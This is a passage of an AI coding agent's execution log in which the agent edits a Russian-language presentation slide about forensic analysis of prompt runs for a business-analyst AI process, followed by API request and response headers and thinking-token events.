**\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\\n\u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA timeline running left to right: on the left a tangled heap of\\nhandwritten prompt cards, in the middle a forensic magnifying glass\\nover a row of numbered run folders, on the right a clean architectural\\nblueprint of connected blocks rising from the same folders.\\nSTYLE: clean isometric technical illustration, deep navy background,\",\n[2026-09-29T07:51:18.589Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:18.589Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:18.589Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:18.589Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:51:18.589Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:51:18.589Z] [INFO]       \"files\": [\n[2026-09-29T07:51:18.589Z] [INFO]         {\n[2026-09-29T07:51:18.589Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:18.589Z] [INFO]           \"hunks\": [\n[2026-09-29T07:51:18.589Z] [INFO]             {\n[2026-09-29T07:51:18.589Z] [INFO]               \"oldStart\": 190,\n[2026-09-29T07:51:18.589Z] [INFO]               \"oldLines\": 9,\n[2026-09-29T07:51:18.589Z] [INFO]               \"newStart\": 190,\n[2026-09-29T07:51:18.589Z] [INFO]               \"newLines\": 10,\n[2026-09-29T07:51:18.589Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:18.589Z] [INFO]                 \" - **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"   \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"   \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"-- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"-  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"-- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"+- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"+  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"+- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"+  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"   \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \" - **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"   \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\"\n[2026-09-29T07:51:18.589Z] [INFO]               ]\n[2026-09-29T07:51:18.589Z] [INFO]             }\n[2026-09-29T07:51:18.589Z] [INFO]           ]\n[2026-09-29T07:51:18.589Z] [INFO]         }\n[2026-09-29T07:51:18.589Z] [INFO]       ],\n[2026-09-29T07:51:18.589Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:51:18.589Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:51:18.589Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\"\n[2026-09-29T07:51:18.589Z] [INFO]       ]\n[2026-09-29T07:51:18.589Z] [INFO]     }\n[2026-09-29T07:51:18.589Z] [INFO]   }\n[2026-09-29T07:51:18.589Z] [INFO] }\n[2026-09-29T07:51:18.622Z] [STDOUT] [log_e1a5e2] sending request {\n[2026-09-29T07:51:18.627Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:18.632Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:18.636Z] [STDOUT]   options: {\n[2026-09-29T07:51:18.638Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:18.647Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:18.656Z] [STDOUT]     body: {\n[2026-09-29T07:51:18.662Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:18.667Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:18.673Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:18.676Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:18.680Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:18.687Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:18.695Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:18.700Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:18.704Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:18.708Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:18.716Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:18.741Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:18.751Z] [STDOUT]     },\n[2026-09-29T07:51:18.753Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:18.755Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:18.759Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:18.763Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:18.766Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:18.769Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:51:18.773Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:51:18.776Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:51:18.779Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:51:18.785Z] [STDOUT]     },\n[2026-09-29T07:51:18.795Z] [STDOUT]     stream: true,\n[2026-09-29T07:51:18.803Z] [STDOUT]   },\n[2026-09-29T07:51:18.810Z] [STDOUT]   headers: {\n[2026-09-29T07:51:18.817Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:51:18.820Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:51:18.826Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:51:18.831Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:51:18.834Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:51:18.838Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:51:18.842Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:51:18.851Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:51:18.857Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:51:18.864Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1935\",\n[2026-09-29T07:51:18.868Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:51:18.871Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:51:18.875Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:18.880Z] [STDOUT]     \"x-client-request-id\": \"6cbd55b3-79c7-40da-98a1-8e5f163e1584\",\n[2026-09-29T07:51:18.884Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:51:18.890Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:51:18.895Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:51:18.902Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:51:18.906Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:51:18.911Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:51:18.918Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:51:18.929Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:51:18.931Z] [STDOUT]   },\n[2026-09-29T07:51:18.939Z] [STDOUT] }\n[2026-09-29T07:51:19.371Z] [STDOUT] [log_e1a5e2, request-id: \"req_011CfXNCqgBQ1Aey49nmU6hh\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 750ms\n[2026-09-29T07:51:19.382Z] [STDOUT] [log_e1a5e2] response start {\n[2026-09-29T07:51:19.386Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:19.388Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:19.395Z] [STDOUT]   headers: {\n[2026-09-29T07:51:19.399Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:19.404Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:19.411Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:19.417Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:19.422Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:19.425Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:19.428Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:19.432Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:19.437Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:19.444Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:19.450Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:19.454Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:19.458Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:19.462Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:19.467Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:19.472Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:19.475Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:19.478Z] [STDOUT]     \"cf-ray\": \"a42966e56f5f01ff-CDG\",\n[2026-09-29T07:51:19.481Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:51:19.485Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:19.490Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:19.495Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:19.497Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:19 GMT\",\n[2026-09-29T07:51:19.501Z] [STDOUT]     \"request-id\": \"req_011CfXNCqgBQ1Aey49nmU6hh\",\n[2026-09-29T07:51:19.503Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:19.507Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:19.513Z] [STDOUT]     traceresponse: \"00-797dfb4ba7e98adc6a72103b6dfbdffa-3c728663c9a7366a-01\",\n[2026-09-29T07:51:19.517Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:19.534Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:19.540Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:19.543Z] [STDOUT]   },\n[2026-09-29T07:51:19.548Z] [STDOUT]   durationMs: 750,\n[2026-09-29T07:51:19.552Z] [STDOUT] }\n[2026-09-29T07:51:19.556Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:19.564Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:19 GMT\",\n[2026-09-29T07:51:19.566Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:19.570Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:19.574Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:19.579Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:19.582Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:19.585Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:19.587Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:19.589Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:19.592Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:19.594Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:19.596Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:19.599Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:19.602Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:19.604Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:19.610Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:19.620Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:19.626Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:19.640Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:19.645Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:19.649Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:19.653Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:19.656Z] [STDOUT]   \"request-id\": \"req_011CfXNCqgBQ1Aey49nmU6hh\",\n[2026-09-29T07:51:19.661Z] [STDOUT]   \"traceresponse\": \"00-797dfb4ba7e98adc6a72103b6dfbdffa-3c728663c9a7366a-01\",\n[2026-09-29T07:51:19.666Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:19.670Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:19.675Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:19.678Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:19.684Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:19.688Z] [STDOUT]   \"cf-ray\": \"a42966e56f5f01ff-CDG\",\n[2026-09-29T07:51:19.693Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:19.703Z] [STDOUT] [log_e1a5e2] response parsed {\n[2026-09-29T07:51:19.707Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:19.710Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:19.720Z] [STDOUT]   body: X {\n[2026-09-29T07:51:19.730Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:19.736Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:19.738Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:19.742Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:19.748Z] [STDOUT]     },\n[2026-09-29T07:51:19.753Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:19.757Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:19.760Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:19.764Z] [STDOUT]   },\n[2026-09-29T07:51:19.767Z] [STDOUT]   durationMs: 751,\n[2026-09-29T07:51:19.773Z] [STDOUT] }\n[2026-09-29T07:51:19.881Z] [INFO] {\n[2026-09-29T07:51:19.881Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:19.881Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:19.881Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:19.881Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:19.881Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:19.881Z] [INFO]   \"uuid\": \"8edd5deb-e08b-4b72-a49a-bac8f3fed64d\"\n[2026-09-29T07:51:19.881Z] [INFO] }\n[2026-09-29T07:51:20.953Z] [INFO] {\n[2026-09-29T07:51:20.953Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:20.953Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:20.953Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:51:20.953Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:20.953Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:20.953Z] [INFO]   \"uuid\": \"8abfa87b-735e-43e1-81a0-4c9fee24336c\"\n[2026-09-29T07:51:20.953Z] [INFO] }\n[2026-09-29T07:51:22.326Z] [INFO] {\n[2026-09-29T07:51:22.326Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:22.326Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:22.326Z] [INFO]   \"estimated_tokens\": 423,\n[2026-09-29T07:51:22.326Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:22.326Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:22.326Z] [INFO]   \"uuid\": \"5067bed3-c668-4fc0-a78c-2b81fab1da41\"\n[2026-09-29T07:51:22.326Z] [INFO] }\n[2026-09-29T07:51:22.335Z] [INFO] {\n[2026-09-29T07:51:22.335Z] [INFO]   